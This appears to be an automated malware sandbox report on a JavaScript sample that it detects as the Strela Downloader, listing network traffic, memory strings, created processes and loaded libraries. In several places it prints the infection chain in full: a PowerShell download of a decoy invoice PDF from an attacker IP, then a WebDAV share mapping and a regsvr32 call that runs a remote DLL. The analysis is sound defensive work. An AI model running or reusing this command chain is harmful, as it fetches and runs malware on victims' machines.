Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49731

Source: global traffic

TCP traffic: 192.168.2.4:49731 -> 193.143.1.205:8888

Source: global traffic

TCP traffic: 192.168.2.4:63083 -> 1.1.1.1:53

Source: Joe Sandbox View

IP Address: 193.143.1.205 193.143.1.205

Source: Joe Sandbox View

ASN Name: BITWEB-ASRU BITWEB-ASRU

Source: Network traffic

Suricata IDS: 1810000 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP activity : 192.168.2.4:49730 -> 193.143.1.205:80

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: global traffic

DNS traffic detected: DNS query: x1.i.lencr.org

Source: wscript.exe, 00000000.00000003.1704231829.000002519F461000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000002.1705645695.00000251A10D2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205/invoice.php
Source: net.exe, 00000006.00000002.1753093135.000002A63821D000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000002.1753093135.000002A6381E8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/
Source: net.exe, 00000006.00000002.1753093135.000002A6381E8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/n
Source: net.exe, 00000006.00000002.1753093135.000002A6381E8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/s64
Source: net.exe, 00000006.00000002.1753093135.000002A63821D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/tD
Source: svchost.exe, 00000008.00000002.2988186181.000001DA59000000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: svchost.exe, 00000008.00000003.1752526974.000001DA58E98000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome/acosgr5ufcefr7w7nv4v6k4ebdda_117.0.5938.132/117.0.5
Source: edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: svchost.exe, 00000008.00000003.1752526974.000001DA58E98000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: svchost.exe, 00000008.00000003.1752526974.000001DA58E98000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: svchost.exe, 00000008.00000003.1752526974.000001DA58ECD000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: edb.log.8.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: 2D85F72862B55C4EADD9E66E06947F3D0.7.dr	String found in binary or memory: http://x1.i.lencr.org/
Source: svchost.exe, 00000008.00000003.1752526974.000001DA58F42000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	String found in binary or memory: https://g.live.com/1rewlive5skydrive/OneDriveProductionV2?OneDriveUpdate=9c123752e31a927b78dc96231b6
Source: edb.log.8.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod.C:
Source: edb.log.8.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2
Source: edb.log.8.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2.C:
Source: svchost.exe, 00000008.00000003.1752526974.000001DA58F42000.00000004.00000800.00020000.00000000.sdmp, edb.log.8.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2?OneDriveUpdate=f359a5df14f97b6802371976c96
Source: svchost.exe, 00000008.00000003.1752526974.000001DA58F42000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	String found in binary or memory: https://oneclient.sfx.ms/Win/Installers/23.194.0917.0001/amd64/OneDriveSetup.exe
Source: edb.log.8.dr	String found in binary or memory: https://oneclient.sfx.ms/Win/Prod/21.220.1024.0005/OneDriveSetup.exe.C:

Spam, unwanted Advertisements and Ransom Demands

Yara detected Strela Downloader

Source: Yara match

File source: Process Memory Space: wscript.exe PID: 7684, type: MEMORYSTR

System Summary

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\4395298639961.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\4395298639961.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: 187637497286212310.js

Initial sample: Strings found which are bigger than 50

Source: classification engine

Classification label: mal100.rans.troj.spyw.expl.evad.winJS@27/58@1/2

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7740:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_s1o2dt0z.50z.ps1

Jump to behavior

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\187637497286212310.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\4395298639961.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2124 --field-trial-handle=1656,i,311617916915985056,248870337893757066,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\4395298639961.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2124 --field-trial-handle=1656,i,311617916915985056,248870337893757066,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: drprov.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ntlanman.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davclnt.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davhlpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
